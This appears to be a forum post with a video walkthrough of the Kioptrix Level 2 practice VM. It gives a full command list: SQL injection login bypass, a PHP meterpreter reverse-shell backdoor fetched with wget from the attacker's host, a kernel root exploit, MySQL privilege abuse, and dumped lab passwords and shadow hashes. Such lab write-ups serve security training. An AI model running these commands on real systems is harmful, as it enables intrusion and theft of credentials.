After connecting via command line, the attacker sets about finding the real password for the admin panel instead of injecting to gain access. The attacker knows which database is used (via the source code of the login page), and browses the contents of the tables. The attacker finds 2 valid logins and tries them out. The first time, shows what happens if the login details are incorrect, the next login is from a "non admin" but a valid account, and the last login is the valid admin account. When the attacker was injecting it the admin account was not specified, the database would login as the first user, in which in most cases it is the admin account as it is usually the first user that is created.
The attacker can use MySQL to view files however just like before when using PHP injection because the exploited user is a limited account, it has limited access to the system however it is a different user from before, as it now is "mysql" rather than “apache”.
The attacker tests the backdoor in order to get a remote shell again. However it is easier this time as they do not have to go though the hassle of injecting again. The attacker can just execute the php backdoor, this time done by visiting it directly on the web server, which results in the php code being executed.
After gaining access and exploiting the system gain root access, the attacker scans the system for ".mysql_history", which is a file that contains previous entered commands and views the contents when using the "root" account.
Commands *Due to the forums security, I'm unable to post the complete command list.*
Code:
start-network
dhclient eth0
clear
nmap 192.168.0.0/24 -n -sn -sP
nmap 192.168.0.202 -p 1-65500 -O -sS -sV -v
firefox http://192.168.0.202
-> User: admin
-> Password: ' OR 1=1 -- -
clear
msfpayload | grep PHP
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.33 LPORT=8080 R > /var/www/backdoor.php.txt
start-apache
msfconsole
use multi/handler
search php
set PAYLOAD php/meterpreter/reverse_tcp
show options
set LHOST 0.0.0.0
set LPORT 8080
show options
exploit -j -z
* kate -> /var/www/backdoor.php.txt. Remove "#". Save.
; ** /*** && **** -O bd.php 192.168.0.33/backdoor.php.txt && php -f bd.php
sessions -l -v
sessions -i 1
sysinfo
shell
uname -a; cat /etc/*-release; id; w
Firefox: Search (exploit.db): Linux Kernel 2.6 -> Download #http://www.exploit-db.com/exploits/9542/
cp 9542.c /var/www/escpriv.c
* cd /tmp
* wget 192.168.0.33/escpriv.c
* gcc escpriv.c -o rootMe
* id
* ./rootMe
* id
* whoami && cat /etc/issue
* cp bd.php /var/www/html/backdoor.php # root only on folder!
^C
y #n = interact 0 && background
firefox http://192.168.0.202
; cat index.php
-> Right click -> View Source.
--> User: john
--> Passowrd: hiroshima
--> Database: webapp
; mysql -u john -phiroshima -e "SHOW databases;"
; mysql -u john -phiroshima -e "USE mysql; SHOW tables;"
; mysql -u john -phiroshima -e "USE mysql; SELECT * FROM user;"
mysql -h 192.168.0.202 -u root
nmap 192.168.0.202 -sV -p 3306
; mysql -u root -phiroshima -e "USE mysql; GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.0.33';" #-D mysql #IDENTIFIED BY 'g0tmi1k';"
nmap 192.168.0.202 -sV -p 3306
mysql -h 192.168.0.202 -u root
SHOW databases;
USE webapp; SHOW tables;
SELECT * FROM users;
#* firefox http://192.168.0.202/
#-->Login *fail*, john, admin
SELECT load_file('/etc/passwd');
exit
firefox http://192.168.0.202/backdoor.php
sessions -i 2
shell
*UNABLE TO POST THIS LINE OF CODE. SEE BLOG POST*
* ** /***; ./rootMe
* cat /root/.mysql_history
* cat /etc/shadow
* whoami && cat /etc/issue
#---------------------------------------------------------------------
MySQL->history: root:Ha56!blaKAbl [???]
MySQL->users: root:hiroshima [hash: 5a6914ba69e02807]
MySQL->users: john:hiroshima [hash: 5a6914ba69e02807]
MySQL->WebApp: admin:5afac8d85f [Type: Admin]
MySQL->WebApp; john:66lajGGbla [Type: Non-admin]
Shadow: root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
Shadow: john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
Shadow: harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::
#---------------------------------------------------------------------
Notes
* When meterpreter is being hosted on the attacker's system, the file extension is “.txt”, therefore it does not get executed like a php file would when called from wget on the targets system.
* The “document root” folder is only writeable by “root”.
* The attacker did not have to kill the remote shell and could have been executed in it, however this method demonstrates if the backdoor failed to work or if the attacker did not wish to use one for whatever
reason)
* When connecting to MySQL remotely, a password is not required because when executing the "GRANT ALL PRIVILEGES" statement it did not include "IDENTIFIED BY 'g0tmi1k'" after the IP address. This would set the password to "g0tmi1k".
Song: Phynn Presents Binary Star - The Halo Effect (Original Mix) & TyDi Feat. Tania Zygar - Vanilla (Ben Gold Remix) & Afrojack Feat. Eva Simons - Take Over Control (Radio Edit) & Pakito - Philosophy
Video length: 10:31
Capture length: 22:32
Blog Post: http://g0tmi1k.blogspot.com/2011/02/video-kioptrix-level-2-injection.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/38313-%5Bvideo%5D-kioptrix-level-2-injection.html#post190749